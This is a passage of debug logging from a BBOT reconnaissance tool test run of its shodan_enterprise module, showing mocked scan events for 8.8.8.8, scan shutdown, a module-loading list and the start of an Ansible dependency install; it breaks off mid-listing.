'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:56:39,396 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:39,397 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,397 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,397 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,398 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,399 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:56:39,399 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,399 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,400 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:39,400 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,401 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-03-01 16:56:39,401 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:39,401 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,402 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:56:39,403 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,403 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,403 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-03-01 16:56:39,404 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-03-01 16:56:39,404 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:56:39,405 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:39,405 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-03-01 16:56:39,406 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-03-01 16:56:39,487 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:56:39,489 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,489 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:56:39,490 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,490 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-03-01 16:56:39,490 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-03-01 16:56:39,491 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-03-01 16:56:39,491 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-03-01 16:56:39,492 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-03-01 16:56:39,493 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-03-01 16:56:39,493 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-03-01 16:56:39,494 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-03-01 16:56:39,495 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-03-01 16:56:39,495 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-03-01 16:56:39,496 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-03-01 16:56:39,496 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-03-01 16:56:39,596 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-03-01 16:56:39,598 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-03-01 16:56:39,616 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-03-01 16:56:39,617 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-03-01 16:56:39,617 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-03-01 16:56:39,624 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-03-01 16:56:39,625 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-03-01 16:56:39,626 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-03-01 16:56:39,627 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-03-01 16:56:39,628 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-03-01 16:56:39,628 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-03-01 16:56:39,744 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_w46nsplara completed in 0 seconds with status FINISHED -2026-03-01 16:56:39,744 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-03-01 16:56:39,745 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:56:39,747 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-03-01 16:56:39,747 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-03-01 16:58:23,292 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-03-01 16:58:23,302 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-03-01 16:58:23,302 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-03-01 16:58:23,303 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-03-01 16:58:23,304 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-03-01 16:58:23,304 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-03-01 16:58:23,306 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-03-01 16:58:23,306 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-03-01 16:58:23,310 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-03-01 16:58:23,310 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-03-01 16:58:23,312 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-03-01 16:58:23,312 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-03-01 16:58:23,314 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-03-01 16:58:23,314 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-03-01 16:58:23,316 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-03-01 16:58:23,316 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-03-01 16:58:23,317 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-03-01 16:58:23,317 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-03-01 16:58:23,318 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-03-01 16:58:23,319 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-03-01 16:58:23,319 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-03-01 16:58:23,320 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-03-01 16:58:23,321 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-03-01 16:58:23,322 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-03-01 16:58:23,323 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-03-01 16:58:23,324 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-03-01 16:58:23,325 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-03-01 16:58:23,326 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-03-01 16:58:23,327 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-03-01 16:58:23,327 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-03-01 16:58:23,328 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-03-01 16:58:23,329 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-03-01 16:58:23,330 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-03-01 16:58:23,330 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-03-01 16:58:23,331 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-03-01 16:58:23,332 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-03-01 16:58:23,333 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-03-01 16:58:23,333 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-03-01 16:58:23,334 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-03-01 16:58:23,335 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-03-01 16:58:23,336 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-03-01 16:58:23,337 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-03-01 16:58:23,337 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-03-01 16:58:23,338 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-03-01 16:58:23,339 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-03-01 16:58:23,340 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-03-01 16:58:23,340 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-03-01 16:58:23,341 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-03-01 16:58:23,342 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-03-01 16:58:23,343 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-03-01 16:58:23,343 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-03-01 16:58:23,344 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-03-01 16:58:23,344 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-03-01 16:58:23,345 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-03-01 16:58:23,346 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-03-01 16:58:23,346 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-03-01 16:58:23,346 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-03-01 16:58:23,351 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-03-01 16:58:23,351 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-03-01 16:58:23,352 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-03-01 16:58:23,353 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-03-01 16:58:23,354 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-03-01 16:58:23,354 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-03-01 16:58:23,355 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-03-01 16:58:23,356 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-03-01 16:58:23,357 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-03-01 16:58:23,357 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-03-01 16:58:23,358 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-03-01 16:58:23,359 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-03-01 16:58:23,359 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-03-01 16:58:23,360 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-03-01 16:58:23,361 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-03-01 16:58:23,361 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-03-01 16:58:23,362 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-03-01 16:58:23,362 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-03-01 16:58:23,363 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-03-01 16:58:23,363 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-03-01 16:58:23,364 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-03-01 16:58:23,365 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-03-01 16:58:23,366 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-03-01 16:58:23,366 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-03-01 16:58:23,367 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-03-01 16:58:23,367 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-03-01 16:58:23,373 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-03-01 16:58:23,373 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-03-01 16:58:23,374 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-03-01 16:58:23,375 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-03-01 16:58:23,376 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-03-01 16:58:23,377 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-03-01 16:58:23,378 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-03-01 16:58:23,378 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-03-01 16:58:23,379 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-03-01 16:58:23,379 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-03-01 16:58:23,381 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-03-01 16:58:23,382 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-03-01 16:58:23,383 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-03-01 16:58:23,383 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-03-01 16:58:23,384 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-03-01 16:58:23,385 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-03-01 16:58:23,386 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-03-01 16:58:23,386 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-03-01 16:58:23,387 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-03-01 16:58:23,387 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-03-01 16:58:23,388 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-03-01 16:58:23,389 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-03-01 16:58:23,389 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-03-01 16:58:23,390 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-03-01 16:58:23,391 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-03-01 16:58:23,391 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-03-01 16:58:23,392 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-03-01 16:58:23,394 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-03-01 16:58:23,394 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-03-01 16:58:23,395 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-03-01 16:58:23,396 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-03-01 16:58:23,397 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-03-01 16:58:23,398 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-03-01 16:58:23,398 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-03-01 16:58:23,399 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-03-01 16:58:23,400 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-03-01 16:58:23,401 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-03-01 16:58:23,402 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-03-01 16:58:23,403 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-03-01 16:58:23,403 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-03-01 16:58:23,404 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-03-01 16:58:23,405 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-03-01 16:58:23,405 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-03-01 16:58:23,406 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-03-01 16:58:23,406 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-03-01 16:58:23,407 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-03-01 16:58:23,408 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-03-01 16:58:23,408 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-03-01 16:58:23,409 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache -2026-03-01 16:58:23,410 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache -2026-03-01 16:58:23,410 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache -2026-03-01 16:58:23,411 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache -2026-03-01 16:58:23,411 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache -2026-03-01 16:58:23,413 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache -2026-03-01 16:58:23,413 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache -2026-03-01 16:58:23,414 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache -2026-03-01 16:58:23,414 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache -2026-03-01 16:58:23,415 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache -2026-03-01 16:58:23,415 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache -2026-03-01 16:58:23,416 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache -2026-03-01 16:58:23,417 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache -2026-03-01 16:58:23,417 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache -2026-03-01 16:58:23,418 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache -2026-03-01 16:58:23,419 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache -2026-03-01 16:58:23,419 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache -2026-03-01 16:58:23,420 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache -2026-03-01 16:58:23,421 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache -2026-03-01 16:58:23,421 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache -2026-03-01 16:58:23,422 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache -2026-03-01 16:58:23,422 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache -2026-03-01 16:58:23,423 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache -2026-03-01 16:58:23,424 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache -2026-03-01 16:58:23,424 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache -2026-03-01 16:58:23,425 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache -2026-03-01 16:58:23,425 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache -2026-03-01 16:58:23,426 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache -2026-03-01 16:58:23,427 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache -2026-03-01 16:58:23,427 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache -2026-03-01 16:58:23,428 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-03-01 16:58:23,428 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-03-01 16:58:23,430 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-03-01 16:58:23,430 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-03-01 16:58:23,431 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-03-01 16:58:23,431 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-03-01 16:58:23,432 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-03-01 16:58:23,433 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-03-01 16:58:23,433 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-03-01 16:58:24,509 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:58:24,510 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-03-01 16:58:24,511 [INFO] bbot base.py:99 Starting shodan_enterprise module test -2026-03-01 16:58:24,647 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked -2026-03-01 16:58:25,204 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" -2026-03-01 16:58:25,205 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" -2026-03-01 16:58:25,205 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" -2026-03-01 16:58:25,206 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" -2026-03-01 16:58:25,406 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. -2026-03-01 16:58:25,408 [DEBUG] bbot base.py:103 Mocking DNS -2026-03-01 16:58:25,517 [DEBUG] bbot base.py:105 Executing setup_before_prep() -2026-03-01 16:58:25,517 [DEBUG] bbot base.py:107 Executing scan._prep() -2026-03-01 16:58:25,571 [HUGEINFO] bbot.scanner scanner.py:1196 Scan seeded with 1 targets (1 in whitelist) -2026-03-01 16:58:25,574 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection -2026-03-01 16:58:25,574 [HUGEVERBOSE] bbot.core.helpers.command command.py:198 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/ansible-galaxy collection install community.general -2026-03-01 16:58:26,002 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection -2026-03-01 16:58:26,003 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers -2026-03-01 16:58:34,956 [SUCCESS] bbot.core.helpers.depsinstaller installer.py:440 Authentication successful -2026-03-01 16:58:34,957 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) -2026-03-01 16:58:34,957 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { - "hosts": "all", - "tasks": [ - { - "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", - "package": { - "name": [ - "libssl-dev", - "openssl" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'Debian'", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", - "package": { - "name": [ - "openssl", - "openssl-devel" - ], - "state": "present" - }, - "become": false, - "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", - "ignore_errors": true - }, - { - "name": "Install OpenSSL library and development headers (Arch)", - "package": { - "name": [ - "openssl" - ], 